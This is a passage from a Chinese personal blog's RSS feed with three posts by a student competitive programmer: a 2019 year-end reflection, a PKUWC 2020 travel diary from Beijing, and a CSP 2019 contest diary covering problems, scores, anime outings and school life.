</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>2019 年的小小总结</title><link>https://blog.woshiluo.com/posts/2019/12/2019-%E5%B9%B4%E7%9A%84%E5%B0%8F%E5%B0%8F%E6%80%BB%E7%BB%93/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2019/12/2019-%E5%B9%B4%E7%9A%84%E5%B0%8F%E5%B0%8F%E6%80%BB%E7%BB%93/</guid><pubDate>Tue, 31 Dec 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;0 序&lt;/h2&gt;
&lt;p&gt;马上就要从 9102 年到 202 年了呢（不是）&lt;/p&gt;
&lt;p&gt;今年是多彩的一年&lt;/p&gt;
&lt;p&gt;一年内数不清的变化，造就现在的我&lt;/p&gt;
&lt;p&gt;而我会带着这一年的变化，向着前方行走&lt;/p&gt;
&lt;p&gt;「凡为过往，皆为序章。」&lt;/p&gt;
&lt;h2&gt;1 飞速的变化&lt;/h2&gt;
&lt;p&gt;一切事物都在以想象不到的速度变化着&lt;/p&gt;
&lt;p&gt;政策的快速变化，事件的戏剧化反转，一次又一次的拷问我们&lt;/p&gt;
&lt;p&gt;还有什么是可信的&lt;/p&gt;
&lt;p&gt;还有什么是稳定的&lt;/p&gt;
&lt;p&gt;或许我们看不到事情的真相，但是应当尽我们所能，确保所了解情况的真实&lt;/p&gt;
&lt;p&gt;做一个不受自媒体和短视频带节奏的人&lt;/p&gt;
&lt;h2&gt;2 巧妙的缘分&lt;/h2&gt;
&lt;p&gt;或许是运气很好，有幸在学习的路上优秀的学长们和老师们&lt;/p&gt;
&lt;p&gt;甚至还有在中山集训，雅礼集训各个比赛上见到的同学们&lt;/p&gt;
&lt;p&gt;能够遇到大家确实是一个了不起的缘分，要加油啊&lt;/p&gt;
&lt;p&gt;缘分还体现在自己对于动漫的热爱&lt;/p&gt;
&lt;p&gt;无论实在 1 月的动漫星城，还是 8 月的 Aqours 5th Live 上映会与 Bilibili World 2019 广州站，乃至 12 月在北京 Animate 和搜秀城&lt;/p&gt;
&lt;p&gt;虽然自己身处全世界离海最远的城市，但是还是有机会，有缘分能够到达这些地方，见到相同爱好的人&lt;/p&gt;
&lt;p&gt;缘，妙不可言&lt;/p&gt;
&lt;h2&gt;3 向前的脚步&lt;/h2&gt;
&lt;p&gt;或许多多少少有一点算得上梦想的东西&lt;/p&gt;
&lt;p&gt;今年有幸参加了几乎整个赛季一直到 NOI 的所有赛事&lt;/p&gt;
&lt;p&gt;（ CCF NOI WC，APIO，CTS，NOI，CSP）&lt;/p&gt;
&lt;p&gt;甚至有幸去 PKUWC 这种神仙比赛&lt;/p&gt;
&lt;p&gt;不过比赛成绩倒是都不怎么样，还是要努力啊&lt;/p&gt;
&lt;h2&gt;4 看不清却值得期待的未来&lt;/h2&gt;
&lt;p&gt;自主招生政策的不定&lt;/p&gt;
&lt;p&gt;进在眼前的中考&lt;/p&gt;
&lt;p&gt;这一切都表明了，未来是看不清的&lt;/p&gt;
&lt;p&gt;但是我依然相信缘分，相信自己的脚步&lt;/p&gt;
&lt;p&gt;看不清的未来，才是值得期待的&lt;/p&gt;
&lt;h2&gt;5 尾声&lt;/h2&gt;
&lt;p&gt;https://blog.woshiluo.com/919.html#&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;从自己在动漫星城时放光的双眼，到搜秀城时的砍价&lt;/p&gt;
&lt;p&gt;从 WC 时的铜牌，到 NOI 时的打铁&lt;/p&gt;
&lt;p&gt;从混乱的 SYZOJ 魔改，到逐渐形成自己的规范的小脚本&lt;/p&gt;
&lt;p&gt;从慌乱不定的 E 类，到波澜不惊的 NOIP 暂停&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我是想要发光的，想要在舞台上，发出属于自己的光芒&lt;/p&gt;
&lt;p&gt;正是前方迷茫不定，才有着向前走，发光的意义&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;「私たち、 輝きたい！」&lt;/p&gt;
&lt;p&gt;「我们，想要闪闪发光」&lt;/p&gt;
&lt;p&gt;「LoveLive! SunShine!!」&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;+1 附录 - 游记总表&lt;/h2&gt;
&lt;p&gt;https://blog.woshiluo.com/988.html&lt;/p&gt;
&lt;p&gt;https://blog.woshiluo.com/1077.html&lt;/p&gt;
&lt;p&gt;https://blog.woshiluo.com/1190.html&lt;/p&gt;
&lt;p&gt;https://blog.woshiluo.com/1427.html&lt;/p&gt;
&lt;p&gt;https://blog.woshiluo.com/1526.html&lt;/p&gt;
&lt;p&gt;https://blog.woshiluo.com/1591.html&lt;/p&gt;
&lt;p&gt;https://blog.woshiluo.com/1622.html&lt;/p&gt;
&lt;p&gt;没有写游记的事件&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;6 - 7 月 雅礼集训&lt;/li&gt;
&lt;li&gt;7 月 NOI&lt;/li&gt;
&lt;li&gt;8 月 中山纪念中学集训&lt;/li&gt;
&lt;li&gt;8 月 Aqours 5th Live 上映会&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;其他游记/感想不在此处总结&lt;/p&gt;
</content:encoded><category>share</category><author>woshiluo</author></item><item><title>PKUWC 2020(2019) 游记</title><link>https://blog.woshiluo.com/posts/2019/12/pkuwc-2019-%E6%B8%B8%E8%AE%B0/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2019/12/pkuwc-2019-%E6%B8%B8%E8%AE%B0/</guid><pubDate>Mon, 30 Dec 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;0 序&lt;/h2&gt;
&lt;p&gt;晚上十一点半的机房，Woshiluo 正悠闲地考虑着第二天该做的题目&lt;/p&gt;
&lt;p&gt;说着他一瞬想起来自己似乎报名过 PKUWC&lt;/p&gt;
&lt;p&gt;「过去几年都没有人通过的，今年夏令营整个新疆都没过，果然还是白忙活吧」&lt;/p&gt;
&lt;p&gt;话虽这么说，Woshiluo 还是打开了报名网站&lt;/p&gt;
&lt;p&gt;「喵喵喵，过了？」&lt;/p&gt;
&lt;h2&gt;1 Day -2 出发&lt;/h2&gt;
&lt;p&gt;在经过严密的安检过后&lt;/p&gt;
&lt;p&gt;我终于到达了乌鲁木齐站三层&lt;/p&gt;
&lt;p&gt;比较有意思是，我的检票口貌似是 A1&lt;/p&gt;
&lt;p&gt;然而 A1 前面的人都已经坐满了&lt;/p&gt;
&lt;p&gt;我走到夹层，和绝大多数高铁站一样，这个地方是用来骗钱的&lt;/p&gt;
&lt;p&gt;不过也就意味着，这里的人会少一点&lt;/p&gt;
&lt;p&gt;稍作调整之后，车站广播也响起来了&lt;/p&gt;
&lt;p&gt;随着缓慢的人群，我通过了检票口，到达了火车上&lt;/p&gt;
&lt;h2&gt;2 Day -1 火车上的短暂时光&lt;/h2&gt;
&lt;p&gt;乌鲁木齐铁路局所销售物品的昂贵已经是有很久历史的事情了&lt;/p&gt;
&lt;p&gt;所以如果上车的时候犯懒没有买足吃的东西的话&lt;/p&gt;
&lt;p&gt;可以到大站下去购买以尽可能的减少损失&lt;/p&gt;
&lt;p&gt;这趟列车绝大部分地区都是没有信号的地方&lt;/p&gt;
&lt;p&gt;所以基于手机的娱乐基本上是没有了&lt;/p&gt;
&lt;p&gt;Kindel 和随身携带的纸制书可能是最有效的消磨时间方式&lt;/p&gt;
&lt;p&gt;所以我在火车上过了一遍绿书，并读完了「樱花庄的宠物女孩」的本篇及番外&lt;/p&gt;
&lt;p&gt;我的上铺和下铺都是年轻人，一个考研，一个去内地学习技术&lt;/p&gt;
&lt;p&gt;总而言之，大家也都有自己的前途&lt;/p&gt;
&lt;h2&gt;3 Day 0 慌忙的首都一天&lt;/h2&gt;
&lt;p&gt;在早上十点，火车到达了北京西站&lt;/p&gt;
&lt;p&gt;我从地铁口出来，联系上了 sbr，我从北京西站到国家图书馆再换乘到海淀黄庄&lt;/p&gt;
&lt;p&gt;两个人见面稍微寒暄了一小阵，就到星巴克里谈人生&lt;/p&gt;
&lt;p&gt;到了快要报道的时间，我们从海淀黄庄坐到北京大学东门 D 出口，从 D 口出来后约 5min 就可以到达报道的地方&lt;/p&gt;
&lt;p&gt;我前面比没有几个人，进去之后签到的一栏旁边还有一个 &lt;code&gt;是否使用 NOI Linux&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;看到这一栏时，就体会到了 PKU 的良心，更不要提后面还有 PKU 食堂 150 CNY 的饭卡&lt;/p&gt;
&lt;p&gt;和 sbr 打车到国贸大厦，惊奇的发下自己把一些东西落在了报到处…&lt;/p&gt;
&lt;p&gt;算了不重要&lt;/p&gt;
&lt;p&gt;然后在和 sbr 吃完午饭后，我坐地铁从国贸到东大桥&lt;/p&gt;
&lt;p&gt;经过 5min 的第六感导航，我顺利的到达了 Animate&lt;/p&gt;
&lt;p&gt;这里的 Animate 和广东店装修风格好像啊&lt;/p&gt;
&lt;p&gt;不过比广东店大了不少&lt;/p&gt;
&lt;p&gt;时间超级紧迫，因为很明显，我需要在报道时间结束前回到报道处，拿回自己的东西&lt;/p&gt;
&lt;p&gt;所以我就一目十行，随便扫了点 LoveLive! 和 碧蓝航线 的东西就飞速离开了&lt;/p&gt;
&lt;p&gt;不过最意外的收获就是搞到了一本 「LoveLive! School idol diary」还是日文原版的&lt;/p&gt;
&lt;p&gt;然后一路 Rush 到北京大学的报道处，偷偷的拿到了自己的东西&lt;/p&gt;
&lt;p&gt;接着到了自己的酒店，真的离 PKU 好远啊…&lt;/p&gt;
&lt;p&gt;稍微整理了一下在 Animate 的战果后跑去和 杨老师 -- 我们的教练 会面&lt;/p&gt;
&lt;p&gt;然后发现自己这边里所有地铁站都好远啊…&lt;/p&gt;
&lt;p&gt;选了个最近的地铁站 -- 上地站，然后惊奇的发现 13 号线几乎全是在地表的，我一开始以为这是轻轨，后来发现这东西叫城铁&lt;/p&gt;
&lt;p&gt;从上地站出发，换乘两次到鼓楼，然后杨老师告诉我她到雍和宫了&lt;/p&gt;
&lt;p&gt;于是从鼓楼出发，换乘一次到雍和宫&lt;/p&gt;
&lt;p&gt;后面和老师吃了顿饭，然后和地铁关闭时间赛跑，换乘两次回到上地站&lt;/p&gt;
&lt;p&gt;待我再回到酒店的时候，我人已经完全坏掉了&lt;/p&gt;
&lt;h2&gt;4 Day 1 稍有秩序的开幕&lt;/h2&gt;
&lt;p&gt;早上在酒店滴滴了 10min +，终与打到了车…&lt;/p&gt;
&lt;p&gt;匆匆忙忙，到达开幕式所在场所&lt;/p&gt;
&lt;p&gt;认识了几位大佬&lt;/p&gt;
&lt;p&gt;开幕式大约介绍了一下北大，然后就散了&lt;/p&gt;
&lt;p&gt;然后发现，没有地方休息的说&lt;/p&gt;
&lt;p&gt;在经历了一阵混乱后，最后反正是在中关新园定了一间房&lt;/p&gt;
&lt;p&gt;嘛，虽然贵的要死，不过明天也算是有地方休息了&lt;/p&gt;
&lt;p&gt;反正今天是没有时间了&lt;/p&gt;
&lt;p&gt;和教练一起在食堂吃了顿饭&lt;/p&gt;
&lt;p&gt;在吃完 PKU 食堂的饭后，真的让人想上 PKU （不是&lt;/p&gt;
&lt;p&gt;食堂饭又便宜又好吃，感谢 PKU 给的饭卡&lt;/p&gt;
&lt;p&gt;然后跑到考场，Windows 考生使用 Windows 10，具体配置也不清楚&lt;/p&gt;
&lt;p&gt;NOI Linux 考生使用的是 Dell 的笔记本，Intel i7，16G DDR4&lt;/p&gt;
&lt;p&gt;多余的也没看，毕竟体验很优秀&lt;/p&gt;
&lt;p&gt;T1&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;离谱玩意儿，Subtask 1 随便搞搞就出来了&lt;/li&gt;
&lt;li&gt;Subtask 2 推了好长时间…没有出来&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;T2&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;全肝 T1 和 T3 了&lt;/li&gt;
&lt;li&gt;这道题目 Subtask 很多，认真写的花应该有至少 20pts&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;T3&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Subtask 1 不用带脑子&lt;/li&gt;
&lt;li&gt;Subtask 2 离线查分即可，没来的及写&lt;/li&gt;
&lt;li&gt;后面的 Subtask 不是我这种人该碰的&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;告辞 28pts 跑路&lt;/p&gt;
&lt;p&gt;在 T1 莽的太久了， T2 T3 好多暴力没拿&lt;/p&gt;
&lt;p&gt;中关新园离 pku 是真的近（&lt;/p&gt;
&lt;p&gt;回去没有什么事情，就一直在颓废&lt;/p&gt;
&lt;h2&gt;5 Day 2 PKU 旅游日&lt;/h2&gt;
&lt;h3&gt;面试&lt;/h3&gt;
&lt;p&gt;据说面试还有紧张到说不出话的&lt;/p&gt;
&lt;p&gt;基本上面试文的问题都挺普通的&lt;/p&gt;
&lt;p&gt;面试的时候会有一个预定的时间表&lt;/p&gt;
&lt;p&gt;我想着我还没到时间，就去食堂买了个面包当早餐&lt;/p&gt;
&lt;p&gt;结果回来发现已经到下一个了&lt;/p&gt;
&lt;p&gt;无限尴尬&lt;/p&gt;
&lt;p&gt;不过还好，面试老师并没有说什么&lt;/p&gt;
&lt;p&gt;和一个天津大佬面基成功w&lt;/p&gt;
&lt;h3&gt;测试&lt;/h3&gt;
&lt;p&gt;T1&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;跟着 Subtask 一步步走，基本上都能过&lt;/li&gt;
&lt;li&gt;说白了就是人口普查题&lt;/li&gt;
&lt;li&gt;我随便在考场上胡了个 $O(n\log^2(n))$ 的，反正过了&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;T2&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;神仙，Subtask 1 跑路&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;T3&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;最小割？&lt;/li&gt;
&lt;li&gt;有一说一，我上次敲网络流应该还是在中山&lt;/li&gt;
&lt;li&gt;弃了&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;最后 100 + 32 + 0 = 132pts&lt;/p&gt;
&lt;p&gt;还算可以，基本上算是我的最大能力了（&lt;/p&gt;
&lt;h3&gt;晚上&lt;/h3&gt;
&lt;p&gt;回到酒店后，想起今天是冬至，便外卖了份饺子&lt;/p&gt;
&lt;p&gt;然而是真的贵&lt;/p&gt;
&lt;p&gt;吃完虽然没有吃饱，不过就这样子吧&lt;/p&gt;
&lt;p&gt;然后颓废&lt;/p&gt;
&lt;h2&gt;6 Day 3&lt;/h2&gt;
&lt;p&gt;早早的就起来了&lt;/p&gt;
&lt;p&gt;和 lk 爷爷面基，一起在楼下的包子铺吃了招行&lt;/p&gt;
&lt;p&gt;两个人扯皮了好久&lt;/p&gt;
&lt;p&gt;Orz lk 太强了&lt;/p&gt;
&lt;p&gt;后来两个人打车去 PKU，中间 LK 在 THU 下了&lt;/p&gt;
&lt;p&gt;我到了之后刚好开幕&lt;/p&gt;
&lt;p&gt;我们教练家女儿生病了，于是我又双是一个人了&lt;/p&gt;
&lt;h3&gt;闭幕式&lt;/h3&gt;
&lt;p&gt;一开始大概就是领导讲话&lt;/p&gt;
&lt;p&gt;然后就开始讲题&lt;/p&gt;
&lt;p&gt;讲下来感觉自己还是很有希望 200 + 的&lt;/p&gt;
&lt;p&gt;不过 Day 1 的时候智商下线了w&lt;/p&gt;
&lt;p&gt;题倒是都还好，除了 Day 1 T3 完全没搞懂&lt;/p&gt;
&lt;p&gt;剩下的都是能听懂但是不会写的（&lt;/p&gt;
&lt;p&gt;然后颁奖&lt;/p&gt;
&lt;p&gt;我觉得和我没什么关系，就把衣服拉链来开了，毕竟很热&lt;/p&gt;
&lt;p&gt;然后惊奇的发现有个三等奖，结果上去的时候拉链没拉上www&lt;/p&gt;
&lt;h3&gt;晚上&lt;/h3&gt;
&lt;p&gt;后面发现闭幕式结束才 15 点&lt;/p&gt;
&lt;p&gt;直接冲出去坐地铁到搜秀城w&lt;/p&gt;
&lt;p&gt;然后再采购&lt;/p&gt;
&lt;p&gt;然后就是回宾馆睡觉&lt;/p&gt;
&lt;p&gt;晚上和 sbr 再面基&lt;/p&gt;
&lt;h2&gt;6 Day +1&lt;/h2&gt;
&lt;p&gt;上午和 Galaxy 见面&lt;/p&gt;
&lt;p&gt;（或许是我这次唯一一个面基的成年人？）&lt;/p&gt;
&lt;p&gt;然后带我逛了下 THU，顺便在 THU 吃了顿饭&lt;/p&gt;
&lt;p&gt;和他聊了一阵子天，受益匪浅&lt;/p&gt;
&lt;p&gt;正准备去机场&lt;/p&gt;
&lt;p&gt;然后飞机延误了&lt;/p&gt;
&lt;h2&gt;7 Day +2&lt;/h2&gt;
&lt;p&gt;意外之喜&lt;/p&gt;
&lt;p&gt;于是再去了趟 Animate，好好逛了一把&lt;/p&gt;
&lt;p&gt;发现了好多之前没有发现的东西&lt;/p&gt;
&lt;p&gt;大收获的说&lt;/p&gt;
&lt;h2&gt;8 Day +3&lt;/h2&gt;
&lt;p&gt;飞机又双延误了&lt;/p&gt;
&lt;p&gt;告辞，火车真香&lt;/p&gt;
</content:encoded><category>algorithm</category><category>share</category><author>woshiluo</author></item><item><title>CSP 2019 游记</title><link>https://blog.woshiluo.com/posts/2019/11/csp-2019-%E6%B8%B8%E8%AE%B0/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2019/11/csp-2019-%E6%B8%B8%E8%AE%B0/</guid><pubDate>Fri, 22 Nov 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;0 序&lt;/h2&gt;
&lt;p&gt;今年感觉相比较以往还是难了一些的&lt;/p&gt;
&lt;p&gt;不过没有大家说的那么夸张倒是真的&lt;/p&gt;
&lt;p&gt;不过自己貌似真的变菜了&lt;/p&gt;
&lt;h3&gt;0.1 吐槽&lt;/h3&gt;
&lt;p&gt;笔者考完 CSP 就会初中部回了一天&lt;/p&gt;
&lt;p&gt;然后周二病到周五&lt;/p&gt;
&lt;p&gt;一直在不发烧和低烧徘徊&lt;/p&gt;
&lt;p&gt;但是一直咳嗽&lt;/p&gt;
&lt;p&gt;咳得人 头疼 + 胸口疼 + 嗓子疼&lt;/p&gt;
&lt;p&gt;新疆地邪啊&lt;/p&gt;
&lt;h2&gt;1 Day 0&lt;/h2&gt;
&lt;p&gt;今年七十中并不给试机子（注：也有可能是 CCF/科协 不让）&lt;/p&gt;
&lt;p&gt;罢了，也没什么看头，每年 11 月都会在七十中冻一下&lt;/p&gt;
&lt;p&gt;中午大家一起吃饭&lt;/p&gt;
&lt;p&gt;虽然想学习，最后还是放弃了&lt;/p&gt;
&lt;p&gt;晚上翻来覆去睡不着，迷迷糊糊最后还是睡了&lt;/p&gt;
&lt;h2&gt;2 Day 1&lt;/h2&gt;
&lt;h3&gt;2.0 序 - 清晨&lt;/h3&gt;
&lt;p&gt;早上一开门，哇，下雪了&lt;/p&gt;
&lt;p&gt;无论这个比赛怎么改名下雪还是避免不了的&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;在寒冷的凌晨，我们又拿起武器，向着熟悉的战场再次走去&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;2.1 CSP - S2 Day 1&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;T3 是个啥啊？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;一中学长们的校车因为各种各样的原因，8:25 才到&lt;/p&gt;
&lt;p&gt;遇见了不少以前的熟人，SpinMry，dyf 大家好久不见了，一起加油吧！&lt;/p&gt;
&lt;p&gt;匆匆忙忙赶进考场，熟练的敲下 &lt;code&gt;.vimrc&lt;/code&gt;，慌的一批&lt;/p&gt;
&lt;p&gt;到了时间，准点发题&lt;/p&gt;
&lt;p&gt;一直很想问都 9102 年，新疆为什么还是不用压缩包加密这种可靠性高的多的方法&lt;/p&gt;
&lt;p&gt;非要用电子教师软件传输，然后再匆匆忙忙断网&lt;/p&gt;
&lt;p&gt;罢了，有人愿意举办就不错了&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;T1
&lt;ul&gt;
&lt;li&gt;属实不带脑子的题目，上来一看基本上就知道从上往下模拟即可 $O(64)$
不过确实有一种更为简单的办法，参见 &lt;a href=&quot;https://oi-wiki.org/misc/gray-code/&quot;&gt;Oi-wiki - 格雷码&lt;/a&gt;
最后看数据范围注意到 &lt;code&gt;unsigned long long&lt;/code&gt;，出题人太毒瘤了吧&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;T2
&lt;ul&gt;
&lt;li&gt;随便一看就是瞎搞累计贡献，道理我都懂，这代码怎么写？
考场上一顿胡写，树上瞎跳，然后写点优化
写完一开样例3，&lt;code&gt;114514&lt;/code&gt; 太臭了，一跑，爆栈了，手写递归去了
这么一套下来，感觉要出事 $\text{flag}_1$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;T3
&lt;ul&gt;
&lt;li&gt;一看，神仙题，10pts 告辞
等一下这个 10pts 为什么这么难调，时间到了，完蛋&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.2 午休&lt;/h3&gt;
&lt;p&gt;考完心态小崩，找 dyf 一起快乐&lt;/p&gt;
&lt;p&gt;两个人一起吃了饭，然后开始互相吐槽各自的学校&lt;/p&gt;
&lt;p&gt;聊完天，两个人有一起走到七十中，路上还在吐槽某大佬的的迷路属性，结果到了七十中校门口就碰到了某大佬&lt;/p&gt;
&lt;h3&gt;2.3 CSP - J2&lt;/h3&gt;
&lt;p&gt;先在二楼和 dyf 与 caq 一起聊天 CSP 本质面基大会无疑&lt;/p&gt;
&lt;p&gt;然后快考试了才去了三楼，运气可以抽到了比较暖和的位置&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;T1
&lt;ul&gt;
&lt;li&gt;哇这么水的题目真的有出的必要吗…&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;T2
&lt;ul&gt;
&lt;li&gt;一开始没看懂在搞什么，还想着 CSP - J2 都考平衡树了？
后来一看 $price_i \leq 1000$ ，那没事了，多队列维护开溜&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;T3
&lt;ul&gt;
&lt;li&gt;一眼背包，倒是不知道怎么搞
弃了&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;T4
&lt;ul&gt;
&lt;li&gt;最短路题目，怎么搞随缘&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;一出考场发现 2 道原题过分了啊&lt;/p&gt;
&lt;p&gt;T3 我竟然做过，傻了&lt;/p&gt;
&lt;h2&gt;3 Day 2&lt;/h2&gt;
&lt;h3&gt;3.1 CSP - S2 Day 2&lt;/h3&gt;
&lt;p&gt;又见熟人，不过因为 Day1 的心态，所以就没有过多闲聊&lt;/p&gt;
&lt;p&gt;遇到郭老师，问他 Day 1 爆栈的问题&lt;/p&gt;
&lt;p&gt;满口都是什么&lt;/p&gt;
&lt;p&gt;「机子环境不重要的啊」
「全国只有两个省份提供了 NOI Linux，还都是虚拟机，别的都是 Windows 」&lt;/p&gt;
&lt;p&gt;我看加个「七十中断电和七十中无关」都可以郭老师三连了&lt;/p&gt;
&lt;p&gt;顺带一提，Day2 T2 内存 1GB 我们考试环境总共就 1GB 内存，可把我给整乐了&lt;/p&gt;
&lt;p&gt;算了，XJ 这个占全国 $\frac{1}{6}$ 领土的小省份还是不要想别的了吧&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;T1
&lt;ul&gt;
&lt;li&gt;什么玩意儿，神仙，跳&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;T2
&lt;ul&gt;
&lt;li&gt;$O(n^3)$ 是很显然了，就 $f_{i,j}$ 为以 $i$ 结束，向前 $j$ 位的最优答案就行了
然后对 $i$ 考虑优化，考虑 $i$ 相等的情况下有两种状态 $j,k$，若 $j &amp;lt; k$ 且 $f_{i,j} &amp;lt; f_{i,k}$ 那么 $k$ 状态显然可以舍去
不就是个弱化版斜率优化吗&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;T3
&lt;ul&gt;
&lt;li&gt;$O(n^2)$ 的点不用带脑子，敲就完事了
链的点是不带脑子，可是我又双没时间了&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3.2 下午&lt;/h3&gt;
&lt;p&gt;随便在一中食堂买了桶泡面&lt;/p&gt;
&lt;p&gt;然后就会机房和大家一起聊天&lt;/p&gt;
&lt;p&gt;高二的学长们很大一部分都要退役了，说不好真的是最后一次见了…&lt;/p&gt;
&lt;p&gt;祝各位安好&lt;/p&gt;
&lt;h2&gt;After&lt;/h2&gt;
&lt;p&gt;一点 CSP 过后的小记&lt;/p&gt;
&lt;h3&gt;Day +2&lt;/h3&gt;
&lt;p&gt;选手程序出了&lt;/p&gt;
&lt;p&gt;找了几个数据在 NOI Linux 上测试了一下&lt;/p&gt;
&lt;p&gt;顺带一提，是远程测试，是真的延迟高…&lt;/p&gt;
&lt;p&gt;最后基本上都是&lt;/p&gt;
&lt;p&gt;$100 + 55 + 0 + 0 + 64 + 40 = 259$&lt;/p&gt;
&lt;p&gt;也不知道官方数据怎么样…&lt;/p&gt;
&lt;h3&gt;Day +5&lt;/h3&gt;
&lt;p&gt;斗胆看了下 Day1 T2&lt;/p&gt;
&lt;p&gt;发现自己把&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;st[ st_cnt ]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;写成了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;st_cnt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;离谱&lt;/p&gt;
&lt;h2&gt;Day +14&lt;/h2&gt;
&lt;p&gt;正在去市一中的路上，突然看到有个群里说成绩出了&lt;/p&gt;
&lt;p&gt;CCF 又写 Bug了（当然不排除故意的可能性）&lt;/p&gt;
&lt;p&gt;一路狂奔跑到机房&lt;/p&gt;
&lt;p&gt;拿到数据正准备测试，结果机房 DNS 锅了&lt;/p&gt;
&lt;p&gt;看了一下发现 &lt;code&gt;php-fpm&lt;/code&gt; 服务挂了&lt;/p&gt;
&lt;p&gt;修复了之后开始评测，然后在大屏上直播&lt;/p&gt;
&lt;p&gt;感觉还可以，评测期间基本上就是在骂测了 1min + 但是却 0 pts 的憨憨&lt;/p&gt;
&lt;h3&gt;Day +16&lt;/h3&gt;
&lt;p&gt;想了想，还是有想停课冲冬令营的想法&lt;/p&gt;
&lt;p&gt;稍作思考也许就会出结果了吧...&lt;/p&gt;
&lt;p&gt;回去文化课实际上感觉还可以，基本上也都听得懂&lt;/p&gt;
&lt;p&gt;勉强在班里还算可以，不过在这个学校里想要上一中必须得很靠前啊...&lt;/p&gt;
&lt;h2&gt;一点小小的总结&lt;/h2&gt;
&lt;p&gt;今年可能比较去年可能会更加迷茫一些&lt;/p&gt;
&lt;p&gt;https://blog.woshiluo.com/900.html&lt;/p&gt;
&lt;p&gt;去年的问题有一条今年还有的&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;时间规划有一定问题&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;除此之外，能察觉到的主观问题还有&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;思想方向有些许问题&lt;/li&gt;
&lt;li&gt;过于追梦，导致检查和部分暴力点未能做到&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;以下是一些客观原因&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;提高组和入门组一起考太痛苦了，敲到最后在考场上不想写 值得一提的是，相似问题也在第一轮认证时有出现&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;某名的感觉体力不太行...考试到最后手一直在冷（也有可能是七十中实在是太冷了）&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;顺带一提，我和同省大爷 StudyingFather 的意见一样&lt;/p&gt;
&lt;p&gt;https://studyingfather.com/archives/2401&lt;/p&gt;
&lt;p&gt;个人感觉我们今年的培训题目还是太偏了，考试虽然一直都在考，但是留于改题与总结的时间并不算长&lt;/p&gt;
&lt;p&gt;不过我们也确实做不到跟上出题趋势这个大方向&lt;/p&gt;
&lt;p&gt;希望我们会走的更好吧&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;「Jump up HIGH!!」&lt;/p&gt;
&lt;p&gt;- Aqours&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/12/Screenshot-20191203232059-1265x114-1024x92.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/12/Screenshot-20191203232113-1218x105-1024x88.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;尾&lt;/h2&gt;
&lt;p&gt;今年已经是我第三年学习 Oi 了&lt;/p&gt;
&lt;p&gt;也许自己真的在实现最初的梦想&lt;/p&gt;
&lt;p&gt;当时刚学 Oi 的时候，就一直在想，要是我能拿到 XJ 的第二块 Au 就好了&lt;/p&gt;
&lt;p&gt;后来目标渐渐变了，变成很多奇奇怪怪的东西&lt;/p&gt;
&lt;p&gt;回过头来，却发现自己也无意识中接近了最初的目标&lt;/p&gt;
&lt;p&gt;不过还是很遥远就是了&lt;/p&gt;
&lt;p&gt;不过人好歹还是要有梦想的，毕竟自己文化课也不算优秀&lt;/p&gt;
